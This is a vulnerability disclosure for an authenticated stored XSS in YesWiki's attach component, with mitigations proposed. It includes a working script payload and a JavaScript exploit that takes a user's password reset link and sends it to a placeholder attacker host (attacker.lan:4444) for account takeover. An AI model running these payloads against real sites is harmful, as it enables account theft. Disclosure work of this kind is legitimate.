Authenticated Stored XSS in YesWiki

描述

# Authenticated Stored XSS in YesWiki <= 4.4.5 ### Summary It is possible for an authenticated user with rights to edit/create a page or comment to trigger a stored XSS which will be reflected on any page where the resource is loaded. This Proof of Concept has been performed using the followings: - YesWiki v4.4.5 (`doryphore-dev` branch, latest) - Docker environnment (`docker/docker-compose.yml`) - Docker v27.5.0 - Default installation ### Details The vulnerability makes use of the content edition feature and more specifically of the `{{attach}}` component allowing users to attach files/medias to a page. When a file is attached using the `{{attach}}` component, if the resource contained in the `file` attribute doesn't exist, then the server will generate a file upload button containing the filename. This part of the code is managed in `tools/attach/libs/attach.lib.php` and the faulty function is **[showFileNotExits()](https://github.com/YesWiki/yeswiki/blob/doryphore-dev/tools/attach/libs/attach.lib.php#L660)**. ```php public function showFileNotExits() { echo '<a href="' . $this->wiki->href('upload', $this->wiki->GetPageTag(), "file=$this->file") . '" class="btn btn-primary"><i class="fa fa-upload icon-upload icon-white"></i> ' . _t('UPLOAD_FILE') . ' ' . $this->file . '</a>'; } ``` The file name attribute is not properly sanitized when returned to the client, therefore allowing the execution of malicious JavaScript code in the client's browser. ### PoC #### 1. Simple XSS Here is a working payload `{{attach file="<script>alert(document.domain)</script>" desc="" size="original" class=" whiteborder zoom" nofullimagelink="1"}}` tha works in pages and comments: On a comment: ![poc1](https://github.com/user-attachments/assets/dab6b08e-f542-41fd-872d-d221fd228229) ![poc2](https://github.com/user-attachments/assets/50eff326-df36-482b-be87-c4e3866497cf) On a page: ![poc3](https://github.com/user-attachments/assets/e9f4761a-6b7d-4508-aad5-21d4cedcd179) ![poc4](https://github.com/user-attachments/assets/7945b9bb-bc8e-4e01-86d7-bbba823ba67c) #### 2. Full account takeover scenario By changing the payload of the XSS it was possible to establish a full acount takeover through a weak password recovery mechanism abuse ([CWE-460](https://cwe.mitre.org/data/definitions/640.html)). The following exploitation script allows an attacker to extract the password reset link of every logged in user that is triggered by the XSS: ```javascript fetch('/?ParametresUtilisateur') .then(response => { return response.text(); }) .then(htmlString => { const parser = new DOMParser(); const doc = parser.parseFromString(htmlString, 'text/html'); const resetLinkElement = doc.querySelector('.control-group .controls a'); //dirty fetch('http://attacker.lan:4444/?xss='.concat(btoa(resetLinkElement.href))); }) ``` Posting a comment using this specially crafted payload with a user account: ![poc5](https://github.com/user-attachments/assets/7c143b99-a81e-4834-9453-5be067e19521) Allows our administrator account's password reset link to be sent to the listener of the attacker: ![poc7](https://github.com/user-attachments/assets/bbf8c3e2-22a6-4a57-bc32-d6ca2e619cb9) ![poc8](https://github.com/user-attachments/assets/18d5cb6e-5085-4a87-91db-2afebf40c60a) Therefore giving us access to an successful password reset for any account triggering the XSS: ![poc9](https://github.com/user-attachments/assets/7e237b92-0bec-4754-b65c-59f70c010ef4) ### Impact This vulnerability allows any malicious authenticated user that has the right to create a comment or edit a page to be able to steal accounts and therefore modify pages, comments, permissions, extract user data (emails), thus impacting the integrity, availabilty and confidentiality of a YesWiki instance. ### Suggestion of possible corrective measures - Sanitize properly the filename attribute ```php public function showFileNotExits() { $filename = htmlspecialchars($this->file); echo '<a href="' . $this->wiki->href('upload', $this->wiki->GetPageTag(), "file=$filename") . '" class="btn btn-primary"><i class="fa fa-upload icon-upload icon-white"></i> ' . _t('UPLOAD_FILE') . ' ' . $filename . '</a>'; } ``` - Implement a stronger password reset mechanism through: + Not showing a password reset link to an already logged-in user. + Generating a password reset link when a reset is requested by a user, and only send it by mail. + Add an expiration/due date to the token - Implement a strong Content Security Policy to mitigate other XSS sinks (preferably using a random nonce) > The latter idea is expensive to develop/implement, but given the number of likely sinks allowing Cross Site Scripting in the YesWiki source code, it seems necessary and easier than seeking for any improperly sanitized user input.
